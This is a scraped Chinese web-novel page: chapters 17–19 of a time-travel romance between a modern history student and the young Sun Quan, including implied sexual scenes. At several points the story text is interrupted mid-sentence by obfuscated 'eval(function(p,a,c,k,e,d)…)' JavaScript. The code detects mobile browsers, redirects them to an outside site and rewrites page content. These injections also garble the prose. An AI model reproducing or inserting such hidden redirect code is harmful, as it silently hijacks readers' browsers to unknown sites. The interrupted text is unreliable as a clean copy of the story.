男子正微微俯身,侧耳倾听那女子说话,眉宇间是她步一乔陌生的专注与温和。那女子抬手用绢帕拭了拭眼角,男子轻轻笑着,柔声安慰。 步一乔的智商属于时而在线逻辑超群,时而掉线失了智跟傻子似的。 背不清时间线是她在学术方面的致命伤,容易被什么冲昏头脑,便是她人生几十年最严重的致命伤。 此刻,理智的弦“啪”一声就断了。一股酸涩夹杂着怒意的热流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467251|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直冲头顶,让她四肢都有些发麻。 她只能用力握紧堆叠在掌心的长袖,睁睁看着眼前正上演的场面。 那女子将一支看似贵重的玉簪递向男子,他迟疑片刻,竟伸手接了过去。 “仲谋觉得此簪如何?” 事件的主人公正要启齿回答,感知到一道似要烧穿背影的目光,蓦然回首,正正好落入步一乔冰冷又灼热的眼眸中。 “你……” 孙权唇瓣微张,像是白日里撞见了不该存在的幻影。 他望着她,眼神里翻涌着难以置信的震惊。那一瞬,他喉头哽咽,眼底竟不受控制地泛起一层薄红与湿润。 步一乔气呼呼的。 老娘整日被他搞得神经叨叨的,这厮居然在大路上撩妹! 心头火起,她转身就走。 “一乔!”孙权喊出她的名字。 她回来了。 孙权快步追上,在熙攘的人流中一把攥住她的手腕。步一乔挣了挣,腕骨生疼,却敌不过他近乎失控的力气。 “你别走,听我解释!那位是——” “是徐夫人。”步一乔截断他的话。 孙权点头解释:“她是孙氏的——” “亲戚。她的祖父徐真,是孙坚将军的妹夫,你姑母的孙女,算是你的长辈。”步一乔语速极快,字字清晰。 孙权顿了顿,低声道:“是……她丈夫刚去世,此番是来吴郡——” “你要娶她。” “……什么?”孙权怔住,眼中尽是茫然。 步一乔冷着脸,一字一顿:“你看上她了。” 是陈述句,非常肯定的陈述句。 孙权茫然地注视着步一乔毫无波澜的双眸,不明白她为何说出这等话。 渐渐地,内心烦闷,嘴唇颤抖着,有什么汹涌之言即将冲破喉咙。 步一乔瞧出了他正压抑着什么,得施加点压力让他说出来。否则,自己心里也不痛快。 “两全其美,不是吗?” “你这是何意?” “反正我与伯符成亲,若你与徐夫人喜结连理,岂不双喜临门?” 孙权眼底一痛,声音沙哑:“你是故意激我?” “不,我只是在陈述事实。” 步一乔垂眸,冷冷看向他紧攥自己的手。 “松开我。” “你生气了,我不松。”孙权固执地回应,非但没松,反而握得更紧。 “不松我就打你。”步一乔扬起另一只自由的手,作势要挥下。 “打吧。” 他竟然把脸往前凑了凑,闭紧了眼睛,一副豁出去任打任骂的模样。 步一乔看着他这副无赖的样子,气得胸口起伏,扬起的手最终没能落下,只化作一声压抑着怒火的低斥: “……孙权你是不是有病!” 孙权这才缓缓睁开眼,却依旧不敢直视她喷火的双眸,视线飘忽地落在旁边的货摊上,声音闷闷的。 “你都生气了,我如何松开?” “你他——就是你把我惹生气的!你什么脑子!” 她用力想抽回手,手腕都被捏出了一圈红痕。 周围投来的好奇目光,毕竟吴郡无人不识他孙仲谋。未来的徐夫人站在不远处,茫然地看着拉扯的二人。 “此处是大街上,我们先回家。”孙权试图缓和局面,拉着她想往人少的地方去。 “回你大爷啊!别搞得我跟你是两口子似的,我不就跟你睡——” 步一乔的理智瞬间回归,取而代之的是瞬间爆红的脸和耳根。 这一次,不知是孙权被她脱口而出的话惊得失了力道,还是她羞愤之下爆发了惊人的力量,竟然真的挣脱了。 她连连后退几步,似要与他划清界限。 “别让我再单独看到你。” 孙权又想追上来,步一乔忽地转身,抬手指着孙权的鼻子。 “搞清楚孙权,我是你嫂嫂。” 17. 踏春痕 “仲谋,那人是……?”徐姑娘上前走到孙权身侧,温软询问。 孙权恍若未闻,盯着大步远去的背影,沉声道:“失陪,有要事需处置。” “何事如此急迫?”徐姑娘黛眉微蹙,眼底漫上担忧。 孙权未及回答,已转身疾步追去。徐姑娘略一迟疑,也提起裙裾跟了上去。 巷深幽暗,步一乔正欲对着斑驳砖墙宣泄满腔悲愤,忽闻身后脚步急促。还未及反应,一只温热有力的手已猛地攥住她纤细的小臂,一股不容抗拒的力量将她向后拉去。 天旋地转间,脊背撞上冰冷坚硬的墙壁,而他高大的身影已笼罩下来,将她困于方寸之间。 她怒目而视,眼中如有烈焰燃烧。孙权垂眸,眉头几不可察地一蹙,眼底却是一片沉静。 “又说这等话……你不是我嫂嫂。” 步一乔强压着翻涌的情绪,冷笑:“板上钉钉之事。” 孙权沉着别开脸,冷声:“我不认。” 三个字如同火上浇油。 步一乔齿尖咬紧。 “孙权,你知道现在孙家院子里有谁吗?谢姑娘。吴夫人叫来的。” 孙权瞬间明白了她接下来要说的话。他转回视线,那双失去光彩的眸子静静映出自己的面容。 “你知道吴夫人为何邀她来吗?为了你们的婚事。” 孙权欲言,步一乔却不容他打断。 “那是你的发妻。你孙权此生明媒正娶的第一位夫人。她姓谢。” 说着,她的目光越过孙权,落在他身后站在巷口那位格外醒目的女子身上。徐夫人确实姿容出众,难怪历史上孙权不顾礼法也要迎娶。 那才是他的审美,自己不过少年青春期恰好遇到的错误的人。 “第二位,便是你方才谈笑之人,徐夫人。” 步一乔沉了沉眸子,再抬眸时,眼里是决绝。 “你想知道第三位、第四位、第五位吗?” 不等回应,她已逐一道来。 “我告诉你。淮阴的步夫人,琅邪的王夫人,南阳的王夫人,句章的潘夫人,袁术之女袁夫人……你还想听吗?” 步一乔终于给到孙权说话的机会,目光如刀般刮过他波澜不惊的脸。 孙权沉声道:“我只想听到你的名字。” “没有我。”步一乔冷着脸道,“你余生的五十年,与我毫无干系。” “有干系。” 说罢,孙权拉住步一乔的手,转身欲走。 “你干嘛?”步一乔挣扎着,手腕被他攥得生疼。 “跟我去见母亲。”他头也不回,步履坚定。 “见吴夫人做什么?孙权你松手!” “去求母亲,取消我与谢氏的婚约,取消你与兄长的婚事,而后……” 他倏然停步,转身目光坚定地凝视着她 “我娶你。” 步一乔猛地抽回手,用尽全身力气,一个耳光清脆地掴在他脸上。 孙权脸偏向一侧,颊上瞬间浮现红痕。他早习惯了,缓缓转回脸,目光沉静地凝望着她。 “老娘不喜欢你。”咬碎了牙说出口的话里带着哭腔,眼里含着泪。 孙权扬起红肿的脸,怕她有怒气之下跑走,忽地抓住她的手臂。 “我心悦与你。从初见起,时至今日、此时、此刻。” 指尖陷入她紧绷的小臂肌肉。 “我不会娶谢氏,也不会娶徐氏。此生惟愿与你结发为夫妻。” “呵!”步一乔直接气笑了,“大庭广众之下,我看得一清二楚,你还说得出这等话?你良心不痛吗?” “我问心无愧。”他坦然回答。 “好一个问心无愧。我可太了解你是个什么样的人了,什么只愿跟我在一起,你干的事,几百几千几万年以后的人都知道!” 她越说越激动,胸口剧烈起伏。自眼前的人死在自己怀中后,所有的委屈、愤怒、不甘和深埋心底的恐惧,在这一刻彻底爆发。 孙权只是静静地看着步一乔,任由她将所有的委屈尽数泼洒出来。他清楚她为何如此,心甘情愿受着。 直到步一乔说得眼圈发红,只再多一句,就会崩溃大哭,孙权才缓缓上前一步,握住了步一乔微微发抖的手。 阴影压下,强大的气场让周遭的气温骤降。 步一乔第一次见到如此威武霸气的孙权。仿佛此刻她眼前的人不是十七岁的少年,而是数年后的吴王。 他的手掌温暖而干燥,带着习武之人特有的薄茧,完全包裹住她冰凉的指尖。 “你要我怎么做,才肯消气?” 他声音低沉且温柔,带着前所未有的耐心与温柔,甚至是恳求。 步一乔想抽回手,却被他握得更紧。只好偏过头,不去看他。 “你欺负我……我不会消气的。” “你会的。告诉我办法,好不好?” “……老娘讨厌你。” “嗯,我心悦你。”他应着,目光缱绻。 步一乔委屈更甚,一拳砸在孙权小腹上。 “神经……我就不该多管闲事回来!反正人迟早是个死,我就……” 越说越生气,索性不说了。步一乔抿着唇埋下脸,揉揉鼻尖冷静下来。 “嗯。”孙权的拇指轻轻摩挲着她的手背,“知你心里有我,便足够了。” “有个屁!自作多情!” 咒骂完,步一乔终于败下阵来,所有的尖锐在这一刻土崩瓦解。她极轻极轻地,几乎微不可闻地说: “今晚……你到我房里来。” 孙权深邃的眼底骤然掠过一道亮光,如同暗夜划过的流星。他凝视着她泛红的耳尖,没有任何犹豫,轻笑着沉声应道: “好。” * 膝盖强势地顶入他双腿之间,步一乔不耐烦地啧了声,沿着孙权的腰摸了一转,找到系带处一拉,碍事碍眼的裙罩簌簌垂落。 “我定是中了你的咒,脑子崩坍了才做出这等大逆不道之事。” 孙权温柔地将她鬓边散乱的发丝别至耳后,指腹不经意擦过她滚烫的耳垂。 “若是两情相悦,何来大逆不道?” “谁跟你两情相悦了!老娘前半生的半数光阴,喜欢的从来只有一个人。” 他动作微微一顿,“……是兄长?” 步一乔顿住,而后一拳砸在孙权紧实的腹肌上。 “都怪你,坏了我的好事。若是没有你,我与伯符早该成亲,孩子都有了!” 窒息的沉默在紧闭门窗的厢房内蔓延开来,封住了在场人的嘴巴,心绪复杂。 步一乔感觉什么软下去,后知后觉察觉到自己说错了话,从他上方起开,坐在床榻边无力地驼着背。 “罢了……突然没兴致了,你回房歇息吧。” 孙权坐起身,不去拉自己的衣襟,反而拉住步一乔的手。 “既深情于兄长,为何又与我几次三番偷欢亲密?” 孙权的声音稳稳地落在她的心上,略微带着委屈。此时的步一乔看不到他的脸,也没办法像往常一样说些拙劣的话调节气氛、缓和心情。 “我不知道……你别问我……”她试图抽手,却被他握得更紧。 “你分明知晓的。” “我他妈不知道!别问我!” 步一乔抽出手,走到窗边背对于他。 孙权从身后靠近,双臂缓缓环住她瘦削的身躯。温热的胸膛贴住她冰凉颤抖的脊背,收紧手臂,贴得更紧些。 “别哭。别哭。”他叹息般低语。 同样的字,同样的话,步一乔想起了初夜,却没想起时间错乱。 步一乔猛地挣开他,转身揪着他的衣襟逼视他,怒骂道:“我他妈就是个贱人,可以了吧!沾花惹草、玩弄感情的垃圾,可以了吗!被你搞得神经兮兮,说不救你,老娘还是回来了!干啥都能想起你,你满意了吧!” 她用力推开他,满脸泪痕纵横。 “我就不该多管闲事!那日街上碰到你,转身走了便是!何必杵在那儿心里翻江倒海……”声音渐渐哽咽,“老娘喜欢的是孙策!不是你……绝对不是你……” 从那场春梦后,一直是孙策,绝不是他孙仲谋。 尾音渐弱,步一乔抽噎到再说不出一个字。 孙权怔愣片刻,似乎笑了。他低下头,肩头轻微颤动,最终竟露出一个似哭似笑的表情。 “还说不是两情相悦,嘴硬。” 他伸手,指背轻轻蹭过她湿漉的脸颊,掌轮擦去眼泪。 步一乔攥紧拳,随他借着擦眼泪,将自己的脸揉了个遍。 “不是!我和你不准用这个词!要用也是我和伯——” 未完的话语被骤然拉入的拥抱打断。孙权的手臂如铁箍般紧紧环住她,下颌抵在她发顶,一遍遍唤着她的名字。 “步一乔……一乔……我好想你啊。” 时年二十一岁的步一乔不常当着人的面痛哭,顶多偷偷掉掉眼泪,或者用暴力发泄。 但是现在,她却在一个说不上感情的男人怀中抽噎得惊天动地。 死而复生的感慨,终于尽数倾诉。 “我……我他妈一点都不想你……”攀附在他后背的手攥紧,脸深埋进他的胸膛,“我一点也不想你……就该让你死了……死了多好……” “嗯。”他轻轻抚摸着她的头发,“死了,你就再也见不到我了。是吗?” 步一乔在他怀中僵住,良久,才极轻极轻地应了一声:“……嗯。” “可我想见你。”他的唇贴在她耳畔,气息温热,“每日每夜,每时每刻,都想见你。” 说完,不等她反应,孙权忽然俯身将她打横抱起。 “啊!”步一乔惊呼着搂住他的脖颈,脸上挂满狼狈,“你干嘛!放我下去!” 他却笑着置若罔闻,抱着她稳步走向床榻。 步一乔索性将发烫的脸颊埋进他颈窝,嗅着他身上清冽气息,之前所有的酸涩、委屈,竟奇异地被一种更汹涌的情愫取代。 她悄悄攥紧了他的衣襟,心底那点酸溜溜的醋意,终究化成了眼角眉梢藏不住的弧度。 “我肯定是脑子出问题了……”她喃喃自语。 究竟是从何时开始的?是野花谷中他笨拙的试探?还是地牢初遇时那个脸颊泛红的少年? 抑或是…… 某个连自己都未曾察觉的时刻,情根早已深种? * 孙权将她轻柔地置于被褥之上,步一乔陷入柔软间,眸光水润,颊染绯色,细微的颤抖泄露着她内心的不平静。 更多的,是对接下来所做之事的期待。 他并未急于靠近,只是半跪在榻边,深邃的目 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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唇齿间不时发出意乱情迷的闷哼,步一乔知道是自己,但控制不住,反而愈发放肆。 “孙……孙权……”她沙哑着嗓子呼唤着。 孙权稍稍起身,注视着那双同样注视自己的迷离眼眸。 “想听仲谋。” “……”步一乔愣着,沉默着,“孙qu——” “嗯?” 极具威慑的警告,连同擦过步一乔脖颈耳后的手,弄得人不得不投降。 “孙……仲谋……” 孙权特别满意,浅笑着回应:“嗯,一乔。” 衣衫不知何时已松散,微凉的空气触及肌肤,让步一乔轻轻一颤。孙权立刻察觉,拉过一旁的锦被将两人裹住。 被褥之下,他的手掌温热干燥,带着习武之人的薄茧,又似文人雅士的柔和,在她脊背上缓缓游移,带来一阵阵令人心悸的触感。 “仲……孙仲谋……痒……” 步一乔将发烫的脸埋在他颈窝,感受着他颈动脉有力的搏动,与自己狂乱的心跳交织成不和谐的曲目。所有的言语都显得多余,此刻唯有彼此的温度和气息是最真实的依靠。 “一乔,你看我,看着我。”他低声诱哄,声音含混而性感。 步一乔犹豫片刻,终是怯怯地抬眸,撞进他那双深不见底的眼里。 那里不再是平日的冷静自持,而是翻滚着浓烈的情愫,如同暗涌的漩涡,几乎要将她吸溺其中。 她看到那清晰的瞳孔里,映着一个小小的、面色潮红的自己…… 步一乔倒吸了口气,屏住呼吸,脸烧得更厉害。 像在看什么自己主演的小电影…… 孙权低下头,额抵着她的额,鼻尖相触,呼吸可闻。 “此生与你说的每一句、每一个字,皆是真心。”他一字一句,郑重如同起誓,“我孙仲谋,绝不负步一乔。此生,惟愿娶你为妻,只你一人。” 步一乔没有回答,只伸出微微颤抖的手臂,环住他的脖颈,用行动代替了所有言语。 濡湿的唇含住对方,舌尖纠缠碰撞。 窗外风雪肆虐,窗内春意悄融,唯闻彼此交织的呼吸与心跳声,诉说着情到浓时,无需言表的缱绻与承诺。 * 孙权看着怀中人呢喃着睡得安稳。 步一乔呢喃着翻了个身,纤细的手臂无意识地搭在他胸前,整个人蜷缩在他的臂弯。两个人一起裹紧了被子,步一乔体温低,尤其那双脚,跟光了脚去外面走了一遭似的,冰得人彻骨,孙权只好用自己的双脚捂住她的,好让她快点暖和起来。 思绪不知不觉飘荡回与她的初见。 道不清,那该是即将到来的未来,还是已然逝去的过往。 与她相关的事,总是扑朔迷离。 有时就像睡着了,如同沉入一场大梦,时序颠倒,记忆交错。唯独清晰不变的,是穿梭在这段错乱光阴里,始终与他羁绊纠缠的,唯有怀中这个人。 他俯下身,温热的唇轻轻贴上她的额角。 “一乔……你为何独独忘了呢?天上掉下个乔妹妹……呵,当时还以为,你是从一旁的坟墓中爬出来的呢。地牢的棺椁、山野的墓碑……你为何总出现在这些生死交界的地方?那是你逃离到另一片天地的通道吗?” 久远的记忆应声而来。孙权沉下眸子,盯着步一乔微动的唇瓣。而后,他缓缓低头,将一个轻柔的吻印在她的唇上。 “于你而言,那个骗你至我房中的夜,才是初夜吗?” 夜色沉寂,唯有她的呼吸轻柔作答。他闭上眼,忆起她曾在意乱情迷时说过的话,拉长叹息。 “是两年后吗。你告诉我的。时为建安七年……山野蔓蔓,那才是你我的初遇啊。” 18. 清醒梦境 大四那年的国庆假期,步一乔回老家给先祖扫墓。顺便从备考状态中出来,散散心。 “祖宗保佑,两个月后的考试,让我一次性上岸吧!” 纸钱的灰烬上还有火星子,步妈突然想起什么,跟孩她爹说:“得回老房子一趟,有个包裹忘了拿。” 步一乔一听心都死了,立刻耍起赖来。她顺势往旁边墓碑的水泥基座上一坐,整个人像没了骨头:“你们去吧,我就在这儿等着。来回还得走四十分钟,我实在走不动了。” 步爸皱眉:“当代大学生就你这样吗?这荒山野岭的,你一个人……” “没事儿,”步一乔打断他,指了指周围的坟茔,“这么多‘邻居’陪着呢。” 步妈冷哼一声:“你倒是会找地方歇。林子里草深,小心有蛇。” “知道啦,我就在这水泥台上坐着,绝对不乱跑。”步一乔信誓旦旦地保证。 看着父母的身影消失在蜿蜒的山路尽头,步一乔长长地舒了口气。 她打了个巨大的哈欠,眼泪都挤了出来。果然被妈妈说中了,她是真不挑地方,只要困意上来,墓碑旁也能当沙发。 “就眯一会儿,”她小声嘀咕,找了个相对舒服的姿势,盘腿坐在水泥平台上,用手支着脑袋,“他们回来会叫醒我的……” 害怕草丛里真有什么长虫,她没敢往草深的地方去。就着这片被太阳晒得暖洋洋的水泥地,眼皮渐渐沉了下来。 越来越沉…… 意识像沉入温水,缓缓下坠。直到某种尖锐的光点刺破黑暗,在眼皮底下疯狂闪烁,伴随着强烈的眩晕和恶心感,硬生生将她拽回清醒。 步一乔以为是被人随意丢弃的镜子反光,不耐烦地睁开眼。 下一秒,她彻底僵住了。 坟堆呢?水泥台呢?那些熟悉的墓碑和松柏都消失了。 “……梦?” 她喃喃自语,挣扎着坐起身。触手所及是潮湿的泥土和冰凉的露水,环顾四周,是全然陌生的山林,树木高大得惊人。 她攀上最近的高坡。远处山坳里,几缕纤细的炊烟正袅袅升起。 那是一个只有十几户人家的小村落,清一色的低矮土坯茅屋。几个农人正在田间劳作,地里种着她不认识的谷物。他们的衣服是粗糙的麻布,颜色灰扑扑的。 她竖起耳朵,捕捉到田埂边两个歇脚老农的对话。口音晦涩古朴,带着明显的吴地腔调,但连蒙带猜,勉强能懂: 农人甲:“……这仗到底什么时候是个头啊?” 农人乙:“唉,听说北边那位‘四世三公’的袁大将军,上个月人没了!” 农人甲:“啊?就是跟曹司空打了好几年的那个?这下河北怕是要乱套了!” “袁大将军”……“曹司空”……“官渡”……“人没了”?! 作为历史系即将考研的人,步一乔瞬间想到了官渡之战,想到了袁绍曹操,河北易主。袁绍正是在官渡之战后两年,公元202年病逝! 难道…… 为了确认,她冒险绕到村后,发现一座半旧的小土地庙,庙前有一块记录修缮经过的石碑。她拂去尘土,艰难地辨认着上面的隶书:“……建安五年,乡人共筑……” 石碑是两年前立的!建安五年加上两年,正好是建安七年! 步一乔她靠坐在山野间一棵树下,心脏狂跳。 “哇……我……我这梦……咋还……穿越了??” * 步一乔背靠着粗糙的树干,整个人被“建安七年”这个认知冲击得七荤八素。她用力掐了一把自己的胳膊,嘶——还真有点疼。 “疯了,绝对是学历史学魔怔了……”她揉着胳膊,自言自语地吐槽,“做个梦都这么考据派,连年号碑文都给我安排上了?这梦境素材库也太硬核了。” 她正哭笑不得地感慨自己这“日有所思,夜有所梦”的离谱程度,忽然,头顶传来一阵窸窣声响。 还没等她抬头,只听“咔嚓”一声脆响,伴随着一声压抑的闷哼,一个身影竟直直从茂密的树冠中跌落下来,“嘭”地一声,结结实实摔在她面前不远处,溅起些许尘土。 步一乔吓得一个激灵,瞬间弹开半步,定睛看去。 身着锦袍的少年,看年纪约莫与自己相仿。虽摔得有些狼狈,却难掩其通身的气度。他墨发以玉冠高束,面庞轮廓分明,眉眼深邃,此刻正因吃痛而微微蹙眉,反而添了几分生动。 最吸引步一乔的,是他那双眼睛。 少年抬眸看向她时,眼中先是闪过一丝惊愕与警惕,随即像是被她的出现所惑,警惕化为了某种难以言喻的探究与好奇。那双眸子亮得惊人,仿佛盛着江南的春水,又藏着未出鞘的剑锋。 步一乔的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467253|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脏,没来由地“咚”地漏跳了一拍。 “完了完了,”她心里哀嚎,“我已经饿到这种地步了吗?这颜值,这建模水平,放游戏里得是SSR级攻略男主了吧?” 少年挣扎着站起身,动作间带着习武之人的利落。他拍了拍衣袍上的尘土,目光却始终没有离开身着怪异的姑娘。 步一乔见他似乎没有恶意,胆子也大了起来。反正是梦,何必拘谨?她甚至觉得,这一定是自己潜意识里对三国帅哥的向往具象化了。 于是,她清了清嗓子,试图用轻松的语气打破这诡异的沉默:“喂,这位……少侠?公子?你这出场方式挺别致啊,天上掉下个林妹妹我见过,掉下个帅哥哥还是头一回。” 少年闻言,微微一怔,似乎没完全听懂她的现代用语,但“帅哥哥”这个词的大致含义和她那带着笑意的眼神,让他瞬间明白了这是在调侃他。脸上掠过一丝极淡的红晕,非但没有恼怒,眼底反而漾开一抹浅淡的笑意,抱拳一礼,声音清朗如玉磬: “惊扰了姑娘,实在抱歉。姑娘也是迷路至此吗?” 他的声音和他的人一样,带着一种奇特的磁性,敲在步一乔的心尖上。 似林深有鹿来,怦然心动。 “迷、路??”步一乔挑眉,指了指茂密的树冠,“从树上迷下来的吗?” 少年脸上闪过一丝极淡的尴尬,随即镇定自若地拂去裙罩上的落叶:“在下的马受惊跑丢了,方才在树上是为了眺望寻马。” 步一乔将信将疑,但被他故作镇定的模样逗笑了。阳光透过枝叶的缝隙落在他身上,将他挺拔的身形勾勒出一圈柔和的光晕。 那一瞬间,步一乔莫名觉得,这个突然出现的“梦中人”格外顺眼。 “那你找到你的马了吗?”她故意问道。 男子摇了摇头,目光却不离她左右:“姑娘为何独自在此?这荒山野岭……” “我说我是从天上掉下来的,你信吗?”步一乔半开玩笑地说。 可话一出口,她忽然意识到某种不对劲。 这对话模式、这场意外邂逅……怎么那么像某些文字游戏里的选项触发环节? “选错了,走向也就不对了?问问NPC,不算作弊吧?反正也是我的梦。” 于是她鼓起勇气发问:“请问公子,若我说……想与你春宵一度,又该如何作答?” 19. 山野煮雨 “春宵一度?!” 孙权整个人僵在原地,脸上写满了难以置信的震惊。脸颊、耳根乃至脖颈,以肉眼可见的速度迅速烧红,张了张嘴,却没能发出任何音节。 步一乔将他这剧烈的反应尽收眼底,心中那点因梦境而生出的恶趣味得到了极大的满足。 她非但不退,反而向前逼近一步,仰头看着孙权失措的样子,笑得更狡黠了。 “怎么?公子还没回答我的问题呢。这‘春宵一度’,究竟是‘可度’,还是‘不可度’啊?” 她的气息若有似无地拂过孙权滚烫的皮肤。 孙权猛地向后撤了一步,下意识地抬手隔在两人之间。 他自幼习武,经历过沙场雏形,却从未遇到过如此……如此不按常理出牌的局面。 理智告诉他应当厉声斥责这荒唐之言,可对上她那双清澈又带着戏谑笑意的眼睛,斥责的话却卡在喉间,一个字也吐不出来。 甚至内心深处有声音在叫嚣,命他掌控主权。 “姑、姑娘……请自重!”他好不容易找回自己的声音和理智,却毫无平日里的威仪。 “自重?”步一乔挑眉,又逼近一步,几乎要踩到他的裙袍下摆,“这里天为帐,地为席,只有你和我。再说了——”她故意拖长了语调,目光在他通红的脸上流转,“是你突然从天上掉到我面前的,惊扰了我,难道不该……有所表示吗?” 她的话逻辑古怪,却是不容置疑的强势。孙权被她逼得连连后退,脚跟不慎绊到一块凸起的树根,身形一个趔趄。步一乔眼疾手快,一把抓住了他的手腕。 肌肤相触的瞬间,两人俱是一震。 孙权只觉得手腕处传来温热细腻的触感,瞬间窜遍全身,让他半边身子都有些发麻。他想挣脱,却发现那纤细的手指异常有力,牢牢地箍着他。 步一乔看着他近在咫尺的、写满了惊慌与无措的俊脸,漂亮的眼睛里水光潋滟,竟让她生出一种自己在“欺负”他的错觉,而这错觉让她心底某种恶质的征服欲更加蠢蠢欲动。 “公子可得小心啊。还说……摔倒了,好办事儿?” “你!” 孙权从未与女子有过如此逾矩的接触,更何况是这般……被动的境地。 他快哭了,但兄长去世那夜,他答应了全天下,往后不会再掉一滴眼泪。 步一乔趁他心神大乱,另一只手竟大胆地抬起,指尖轻轻拂过他滚烫的耳垂,感受到他猛地一颤。她压低了声音,带着蛊惑般的意味:“公子还没回答我的问题呢?” “回、回答?回答……什么?” 孙权只觉得脑中一片空白,所有冷静自持的教养和谋略在此刻全都化为乌有。 他被困在树干与矮小的她之间,鼻尖萦绕着她身上陌生的气息,手腕和耳垂传来的触感无比清晰,攻城略地般摧毁着他的防线。 他看着她灼灼的目光,那里面没有淫邪,只有一种纯粹的好奇、玩味和不容拒绝的强势。在极度的羞窘和混乱之中,一丝连他自己都未曾察觉的、隐秘的悸动,悄然破土。 “……姑娘你……” 步一乔看着孙权彻底溃败的模样,满意地笑了。她得寸进尺地伸出双臂,环上他紧绷的脖颈,微微用力,将两人拉得贴近,不剩一丝距离。 “我是第一次,要是有哪儿不对,你帮我指出来?” “我……”孙权只觉得全身的血液都在往头顶涌,支支吾吾地,不敢看她的眼睛,“我也是……” 步一乔闻言,震惊地微微睁大了眼睛:“不能吧?男子二十岁,不该老婆孩子都有了吗。” 孙权被她直白的问题问得无地自容,下意识别开滚烫的脸,避开她探究的视线。 “因为……一些事……” “啊!我懂。因为在我潜意识里,就得是纯爱战士,喜欢一夫一妻制。所以你得是未婚未娶!不错不错,这个梦境逻辑自洽,我给满分。” 这番自说自话,孙权尚未想好如何回应,步一乔却已经开始了她的“探索”。 她不再满足于环着他的脖颈,一只手松开,好奇的指尖轻轻划过他棱角分明的下颌线。触感微凉,带着少女的柔软,如电流猝不及防地窜过孙权的脊柱,让他浑身肌肉瞬间绷紧, “你别……” “别动嘛,”步一乔娇蛮着,挑逗着,“让我看看……嗯,皮肤挺好,喉结也挺明显的……” 她的指尖顺着他的脖颈缓缓下滑,停留在微微起伏的喉结上。 孙权猛地吸了一口气,抓住她那只作乱的手腕,力道之大,让她微微蹙眉。 “姑娘!适可而吧!” 步一乔看着他眼中明显的挣扎和强装的镇定,非但没有害怕,反而觉得更有趣了。 她凑近孙权,双手捧住他的脸,不由分说吻上他的唇。 柔软的触感彻底摧毁了封建时代人的封建思想。 刹那间,万籁俱寂。 孙权所有关于礼法、规矩的桎梏,在这无法言喻的柔软香甜触感面前,土崩瓦解。 他僵在原地,甚至忘了呼吸,只能感受到唇上那陌生而温热的压力。 步一乔并未浅尝辄止。她生涩却大胆,遵循着本能,轻轻吮吸着他的下唇,试图叩开紧守的关隘。她的耐心和坚持,一点点消磨着他残存的理智。 “姑——姑娘——你——” “我叫一乔。你叫我一乔吧。” “一……一乔……” 终于,在她又一次轻柔的试探下,他紧绷的唇线不自觉地松懈开一道微不可查的缝隙。 如同得到了默许,步一乔的舌尖小心翼翼地探入,触碰到了更为灼热的禁地,唇齿之间。 这是一个完全陌生的领域,充满了男性清冽又带着一丝慌乱的气息。她生涩地探索着,恐惧却兴奋。 孙权原本抵在她腕间的手,不知何时已失去了力道。缓缓垂下,最终认命失控似的,轻轻覆上了她纤细的腰。 太瘦了…… 只是吻,便彻底搅乱一池春水。 天地之间,树冠为幔,孙权扶着她慢慢地落入柔软间,埋头吮吸她的肩头,留下一个淡淡的标记。 步一乔攀附着他的肩膀,寻找着力点。待他从肩头抬起头,不由分说含住他的下唇,贪恋着,不愿分开。 她想起了漫画上见过的一种说法:“身体契合之人,大抵是你此生的灵魂伴侣。即便再理智的人,本能的□□面前,都无法战胜。” 梦中人吗?自己的灵魂伴侣,是个梦中出现的古风男?呵,真有意思。 “照这么说,我哪怕喜欢的不是你,本能之下,也会想要靠近你啊……” 步一乔低声喃喃。而后恼羞着,跨坐在孙权腿上,掐着他的脖颈居高临下。 “不可以。” “……什么?”孙权不解。 “不可以本能胜过理智……这是不对的……” 孙权听不明白,只是看她的表情,觉得步一乔快哭了,抬起手揉捏她的脸庞。 “别哭。别哭。” 步一乔盯着那双盛满春水的眸子,酸涩翻涌,歉意上脑。 她苦笑道:“连梦都这么……活该我把自己搞得如此不堪。” 天秤座折磨人的性子,先折磨自己。 孙权不解这姑娘怎么反复无常的,但,他知道眼下该做什么。 手臂绕到步一乔的后背,孙权将她揽入怀中,靠在自己胸口处。 “你若是再不做点什么,时辰到,我可得走了。” 步一乔轻笑一声,拳头轻轻砸在他身上。 “那可不行,衣服都脱了,你给我说要走了?”她撑起身子,恢复了戏谑,“躺好,我来接你咯。” * “呼——爽。” 步一乔慵懒地扭动着身子,脸颊大胆地在他胸膛上又蹭了蹭,全然不顾礼数。 孙权被她胆大妄为的亲昵举动惊得还没缓过神来。垂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16467254|185506||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 